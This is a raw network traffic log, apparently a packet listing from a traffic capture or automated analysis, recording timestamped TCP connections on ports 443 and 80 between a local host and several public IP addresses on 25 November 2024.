Nov 25, 2024 14:14:24.365053892 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.375633001 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.375786066 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.375797033 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.381062031 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.381108999 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.381118059 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.392452002 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.392501116 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.392513037 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.395478964 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.395524979 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.395533085 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.399249077 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.399293900 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.399302006 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.405126095 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.405189037 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.405200958 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.422101021 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:24.422209024 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.422384977 CET	49713	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:24.422403097 CET	443	49713	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:25.517214060 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:25.559372902 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:25.605931044 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:25.606076002 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:25.676376104 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:25.676467896 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:25.678054094 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:25.678067923 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:25.678400040 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:25.716737032 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:25.723320007 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:25.746759892 CET	49712	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:25.771325111 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:25.843614101 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:26.041105032 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.041738987 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.041758060 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.042331934 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.042335987 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.088296890 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088320971 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088332891 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088357925 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088382959 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088393927 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088397026 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:26.088427067 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.088443995 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:26.088478088 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:26.097487926 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.098436117 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.099004984 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.099647045 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.099669933 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.099690914 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.099705935 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.100258112 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.100264072 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.100292921 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.100297928 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.100492954 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.100507975 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.100900888 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.100905895 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.108489990 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.108558893 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:26.108563900 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:26.108616114 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:26.178618908 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.179599047 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.179615974 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.180433035 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.180438042 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.216480970 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:26.216552973 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:26.216604948 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:26.216741085 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:26.216772079 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:26.216784000 CET	49725	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:26.216789961 CET	443	49725	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:26.261684895 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:26.261732101 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:26.261811972 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:26.262151957 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:26.262167931 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:26.511743069 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.511765003 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.511830091 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.511854887 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.512228012 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.512228966 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.512228966 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.512238026 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.512384892 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.512418985 CET	443	49726	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.512473106 CET	49726	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.515476942 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.515500069 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.515569925 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.515765905 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.515783072 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.542893887 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.542912960 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.542998075 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.543018103 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.543062925 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.543390989 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.543400049 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.543423891 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.543548107 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.543584108 CET	443	49727	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.543647051 CET	49727	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.544956923 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.545026064 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.545084000 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.545253038 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.545269966 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.545284033 CET	49730	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.545290947 CET	443	49730	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.545416117 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.545471907 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.545614004 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.546586990 CET	49728	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.546592951 CET	443	49728	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.547002077 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.547048092 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.547131062 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.547329903 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.547347069 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.548424006 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.548434973 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.548496962 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.548608065 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.548657894 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.548711061 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.548721075 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.548770905 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.548938036 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.548957109 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.636492014 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.636548042 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.636614084 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.636635065 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.636915922 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.636924982 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.636946917 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.636965036 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.637083054 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.640177011 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.640221119 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.640439987 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.640631914 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:26.640644073 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:26.681750059 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:26.681999922 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:27.440675974 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:27.440720081 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:27.440793037 CET	49715	443	192.168.2.5	172.202.163.200
Nov 25, 2024 14:14:27.440800905 CET	443	49715	172.202.163.200	192.168.2.5
Nov 25, 2024 14:14:27.703372002 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:27.704020977 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:27.711935997 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:27.711951017 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:27.713063955 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:27.717133045 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:27.759346008 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:28.231446981 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:28.231534958 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:28.231631041 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:28.329961061 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.331095934 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.332176924 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.375021935 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.382045031 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.382050037 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.382055044 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.409688950 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.409718037 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.411413908 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.411418915 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.412046909 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.412065029 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.412619114 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.412626982 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.413048983 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.413068056 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.413430929 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.413441896 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.421624899 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.421632051 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.422328949 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.422333002 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.461083889 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.472165108 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:28.472194910 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:28.472208977 CET	49736	443	192.168.2.5	23.52.182.8
Nov 25, 2024 14:14:28.472215891 CET	443	49736	23.52.182.8	192.168.2.5
Nov 25, 2024 14:14:28.498447895 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.498461008 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.499006987 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.499012947 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.774714947 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.774812937 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.775993109 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.776056051 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.776094913 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.776102066 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.807918072 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.807990074 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.808038950 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.827905893 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.827974081 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.828033924 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:28.938460112 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.938640118 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:28.938747883 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.061330080 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.061357975 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.061372042 CET	49738	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.061378956 CET	443	49738	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.063858032 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.063858032 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.063903093 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.063915968 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.091171026 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.091202974 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.091238022 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.091244936 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.093163967 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.093163967 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.093173981 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.093183041 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.137448072 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.137490034 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:29.137506962 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:29.137516022 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.372924089 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:30.372977972 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:30.373039007 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:30.451514959 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:30.451571941 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:30.451642990 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:30.496151924 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:30.496196032 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:30.496396065 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:30.496438026 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:30.520296097 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.520354986 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.520415068 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.521991968 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.522047997 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.522176981 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.524193048 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.524230003 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.524286985 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.536479950 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.536510944 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.537050009 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.537071943 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.537754059 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.537775040 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.558032036 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.558073997 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.558136940 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.558361053 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.558373928 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.586659908 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.586713076 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:30.586780071 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.605314016 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:30.605341911 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:31.175513983 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:31.175559998 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:31.175621033 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:31.175848961 CET	49755	443	192.168.2.5	94.245.104.56
Nov 25, 2024 14:14:31.175863981 CET	443	49755	94.245.104.56	192.168.2.5
Nov 25, 2024 14:14:31.685158968 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:31.685229063 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:31.875885963 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:31.875941992 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:31.876024008 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:31.877680063 CET	49757	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:31.877692938 CET	443	49757	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:32.324448109 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.324472904 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.329262972 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.364101887 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.364120960 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.366208076 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.366213083 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.373234034 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.373264074 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.373960018 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.373966932 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.386557102 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.401031971 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.401051998 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.401530027 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.401534081 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.401861906 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.401894093 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.402362108 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.402365923 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.417618036 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.425029993 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.425049067 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.425787926 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.425801992 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.601449013 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.611603022 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.611637115 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.613229990 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.613306999 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.615874052 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.615962982 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.616468906 CET	49745	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.616478920 CET	443	49745	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.624948025 CET	49721	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:32.625354052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:32.636425018 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.636904001 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.636924028 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.637940884 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.638003111 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.638905048 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.639296055 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.739742994 CET	49744	443	192.168.2.5	52.123.243.184
Nov 25, 2024 14:14:32.739762068 CET	443	49744	52.123.243.184	192.168.2.5
Nov 25, 2024 14:14:32.744955063 CET	80	49721	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:32.745281935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:32.746098995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:32.772305965 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.772363901 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.772430897 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:32.773616076 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.773669004 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:32.773783922 CET	49746	443	192.168.2.5	13.107.246.63
